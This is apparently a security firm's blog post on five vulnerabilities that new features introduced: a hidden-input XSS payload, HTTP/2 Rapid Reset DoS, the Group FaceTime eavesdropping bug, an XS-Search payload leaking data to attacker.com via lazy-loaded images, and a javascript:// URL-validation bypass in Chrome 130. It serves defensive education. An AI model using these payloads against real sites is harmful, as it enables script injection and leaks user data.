Side Effects: When Continuous Development Introduces Security Threats
Security threats come from all angles, often evolving faster than systems can keep up. Typically, we design systems to defend against todayâs challenges, but as hackers get smarter and technology pushes forward, new vulnerabilities naturally emerge. To stay ahead, security teams apply regular patches, strengthening defenses and preparing for the risks that might pop up down the line.
That said, even the best security measures in place arenât foolproof. As organizations continually roll out new features and improve systems, unintended security threats often appear as side effects. Itâs a balancing act â boosting performance and enhancing user experience while keeping security airtight. In this post, weâll explore five significant security risks that emerged as unintended consequences of new feature development.
1. Hidden XSS Exploited via New Events
Cross-Site Scripting (XSS) attacks occur when malicious scripts are injected into an HTML document, allowing attackers to perform unauthorized actions, such as stealing user credentials from logged-in sessions.
There are various traditional XSS attack methods, with one of the most common involving the use of event handlers based on the on attribute in <input> elements. However, when the type is set to hidden in the <input> tag, these event handlers wonât trigger unless there is direct user interaction with the element.
To optimize web performance, an event called contentvisibilityautostatechange was newly introduced on October 28, 2022. This event triggers when an element with the content-visibility: auto property undergoes a state change during rendering. Critically, it works even for elements marked as hidden, creating a potential vulnerability for attackers to exploit.
On July 25, 2024, security researcher Masato Kinukawa publicly shared the attack vector and payload using this event on X.
The payload is as follows:
<input type="hidden" oncontentvisibilityautostatechange="alert(/ChromeCanary/)" style="content-visibility:auto">
This payload allows an attacker to trigger an XSS attack in Chrome simply by accessing the page. The input type is set to hidden, and the oncontentvisibilityautostatechange event is defined to alert the user once the page is loaded.
As a result, an XSS attack can be initiated by merely visiting a link, demonstrating how performance-enhancing features like contentvisibilityautostatechange inadvertently introduced new security risks.
References
2. Rapid Reset Attacks Using HTTP/2 Multiplexing
With the rapid evolution of the internet, web protocols continue to adapt. In 2015, the Internet Engineering Task Force (IETF) introduced HTTP/2, a protocol designed to improve web page loading speeds while maintaining compatibility with HTTP/1.1. HTTP/2 introduced several features, such as header compression, multiplexing, and server push, that greatly improved browser performance.
Multiplexing refers to the simultaneous transmission of multiple independent data streams through a single communication channel. This technology enhances communication efficiency and maximizes resource utilization. In HTTP/2, multiplexing allows multiple HTTP requests and responses to be processed in parallel on a single TCP connection, based on several concepts:
Stream: Independent channels for transmitting HTTP requests and responses. Each stream has a unique identifier and supports bidirectional communication.
Frame: Data is split into small units called frames, each containing a stream identifier, allowing proper reassembly on the receiving end.
Concurrent Transmission: Frames from different streams are transmitted simultaneously, so delays in one stream donât impact others.
While designed to boost browser performance, multiplexing introduced a vulnerability in HTTP/2 known as the Rapid Reset vulnerability.
In HTTP/1.1, each request is processed sequentially. The server reads a request, processes it, sends a response, and then reads the next request. Thus, only one request could be sent per round trip. HTTP/2, however, allows multiple streams (and hence requests) to be sent over a single TCP connection simultaneously. A client can open more than 100 streams in one connection, allowing multiple requests to be processed in parallel.
The vulnerability arises when an attacker opens multiple streams and immediately cancels the requests without waiting for the serverâs response. This is done using HTTP/2âs RST_STREAM frame, which allows the client to cancel a stream. Hereâs how the attack works:
The attacker opens numerous streams, sending requests to the server.
Instead of waiting for a response, the client cancels the requests immediately.
Then, the attacker resets the streams.
The server, in turn, performs extensive work for each canceled request, such as allocating resources, parsing queries, decompressing headers, and connecting URL resources. However, because the client explicitly cancels these requests, it consumes minimal resources. This creates an imbalance in resource consumption, enabling the attacker to overload the serverâs CPU and cause denial of service (DoS). This resource asymmetry forms the core of the HTTP/2 Rapid Reset Attack.
In summary, multiplexing â a technique intended to improve network efficiency â has led to a DoS vulnerability in the HTTP/2 protocol through Rapid Reset abuse.
References
3. Privacy Vulnerability in Appleâs Group FaceTime Update
Appleâs FaceTime, trusted by millions of iOS and macOS users since its 2010 launch, has been recognized for providing seamless and secure video communication within the Apple ecosystem.
With iOS 12.1, Apple introduced âGroup FaceTime,â an update allowing up to 32 participants in a single call. While this feature significantly boosted FaceTimeâs functionality, it also opened the door to an unexpected privacy issue.
On January 28, 2019, a critical vulnerability was discovered within Group FaceTime that allowed attackers to eavesdrop on the recipientâs audio without their consent, and in some cases, even access their video.
Hereâs how the vulnerability, CVE-2019â6223, worked:
An attacker initiates a FaceTime call to the victim.
Before the victim answers, the attacker adds their own phone number to the group call.
At this point, the system automatically changes the victimâs call status to âanswered.â
As a result, the victimâs microphone is activated, and their audio is transmitted to the attacker.
Moreover, if the victim presses the power or volume buttons to reject the call, the phoneâs camera is instead activated, allowing the attacker access to the victimâs video.
The demonstration video above clearly shows how easily this vulnerability could be exploited. Apple acted quickly by disabling Group FaceTime servers to prevent further misuse and later addressed the issue through updates in iOS 12.1.4 and macOS Mojave 10.14.3.
References
4. XS-Search Attacks Exploiting Lazy Loading Attribute
In 2017, a developer named Josh Tumath raised an issue on the WHATWG HTML specification GitHub page. The issue suggested improving user experience by delaying the rendering of content that isnât visible within the userâs viewport, as most visitors only view the top portion of a web page and donât scroll down to the bottom.
This suggestion gained traction, and by June 2018, the loading attribute was added to the HTML specification. In September of the same year, Chromium adopted this update.
Unfortunately, this update also paved the way for a new type of attack called XS-Search, allowing attackers to steal arbitrary information from environments where XS-Search had previously been impossible due to security settings (e.g., CSP). Below is an example payload that can be used to conduct such an attack:
<object data="/@example.com">admin/dashboard?email=@example.com">
<img src="https://attacker.com/?status=false" loading="lazy">
</object>Normally, the <object><img /></object> construct is used to provide fallback content (like an image) if the embedded object fails to load. The loading="lazy" attribute delays the loading of the image until the object fails to load. In this example, the email parameter allows querying the /admin/dashboard for user account details. If the email address containing @example.com doesn't exist, a 500 error occurs, triggering the fallback image to load. This behavior lets the attacker deduce whether the email exists or not. By automating this process, the attacker could enumerate all email addresses in the system.
For the attack to succeed, certain conditions must be met, such as the ability to query sensitive information through the GET method and the ability to load images across origins using status codes. The critical takeaway from this example is that the newly introduced loading="lazy" attribute opened up previously unavailable attack vectors, allowing XS-Search attacks in otherwise secure environments.
References
5. URL Validation Bypass Due to Non-special URL Parsing Logic Changes
An opaque path refers to a portion of a URL that is treated as an indivisible string, meaning it canât be broken down further into subcomponents. Unlike standard URLs where different parts like slashes (â/â) are parsed and analyzed, browsers typically donât dissect opaque paths. For example, in URLs like mailto:a@b.c or javascript:alert(1), the a@b.c and alert(1) parts are considered opaque paths.
Before Chrome version 130, the browserâs URL parser treated all non-special URLs as opaque paths.
For example, the JavaScript code let url = new URL("git://foo/bar") would typically set url.host = "foo" and url.pathname = "/bar". However, in Chrome, non-special URLs were incorrectly treated as opaque paths, resulting in url.host = "" and url.pathname = "//foo/bar". This behavior was not in line with web standards and caused compatibility issues with other browsers, such as Firefox and Safari.
To address this inconsistency and align with web standards, Chrome version 130 introduced a patch that altered the way non-special URLs are parsed. The goal was to ensure non-special URLs werenât always treated as opaque paths. Below is the newly added code to handle non-special schemes:
template <typename CHAR>
void DoParseAfterNonSpecialScheme(const CHAR* spec,
int spec_len,
int after_scheme,
Parsed* parsed) {
// The implementation is similar to `DoParseAfterSpecialScheme()`, but there
// are many subtle differences. So we have a different function for parsing
// non-special URLs.Unfortunately, this patch inadvertently allowed attackers to bypass certain URL validation methods in browsers like Chrome. Consider the following code used to check whether a given URL belongs to a subdomain of theori.io:
const isValidURL = string => {
try {
const url = new URL(string)
return url.hostname.endsWith('.theori.io') || (url.hostname == 'theori.io')
} catch (ignore) {}
return false
}Prior to the patch in version 129, when parsing a non-special URL, the path would be assigned to the pathname field //theori.io. In version 130, the URL would instead assign theori.io to the hostname field, thus bypassing the validation check.
Hereâs an example of a script that validates a URL, ensuring only subdomains of theori.io are allowed:
<script>
const isValidURL = string => {
try {
const url = new URL(string)
return url.hostname.endsWith('.theori.io') || (url.hostname == 'theori.io')
} catch (ignore) {}
return false
}
let url = location.search.substr(3)
if(isValidURL(url)) {
location.href = url
} else {
document.write("Invalid URL")
}
</script>Starting from version 130, Chrome no longer treats non-special URLs as opaque paths by default. As a result, a URL such as javascript://theori.io could pass the validation check. Although the // sequence within the URL prevents the script from executing immediately, adding %0a (newline) allows the script to run. Here's an example:
http://[SERVER]/a.html?a=javascript://theori.io/%0aalert(1);
To defend against this attack, additional validation is required and the url.scheme must be checked to confirm it is either http or https. This incident highlights how a patch made to adhere to web standards inadvertently introduced a vulnerability due to insufficient review of the existing validation logic.
References:
Conclusion
Weâve explored several examples of security side effects that can emerge when new features are introduced. These side effects are still a prevalent challenge today. With each new feature, thereâs always the risk of unintended vulnerabilities, making it essential to approach development with security in mind
To mitigate these risks, developers must assess potential bugs and vulnerabilities early in the process, before deploying new features. Re-implementing existing technologies also demands scrutiny to identify any weaknesses or inconsistencies that might introduce new security risks.
As weâve shown through the examples in this post, improving performance or adding new functionality doesnât always guarantee a secure outcome. Developers must strike a balance between innovation and security, ensuring that new features donât inadvertently compromise the integrity of the system. Even when the feature itself seems secure, its interaction with other components may introduce vulnerabilities.
In short, achieving strong security requires consistent attention to software updates and a disciplined approach to writing secure code from the ground up. Theoriâs Security Assessment team is here to help. With years of expertise, we provide tailored consulting services to help clients anticipate risks and secure their systems as they innovate and evolve.
About Xint
Xint is an advanced Unified Security Posture Management (USPM) platform from Theori, the leading cybersecurity firm specializing in offensive security solutions. Our offensive approach ensures we deliver optimal security solutions by analyzing vulnerabilities from an attackerâs perspective. Serving a diverse client base of all sizes from ambitious startups to Fortune 500 enterprises, we are the leading experts in identifying and addressing industry-agnostic threats.
To learn more about Xint,
âŞď¸ Visit our website
âŞď¸ Visit Theoriâs website
âŞď¸ Follow us on X
âŞď¸ Follow us on LinkedIn
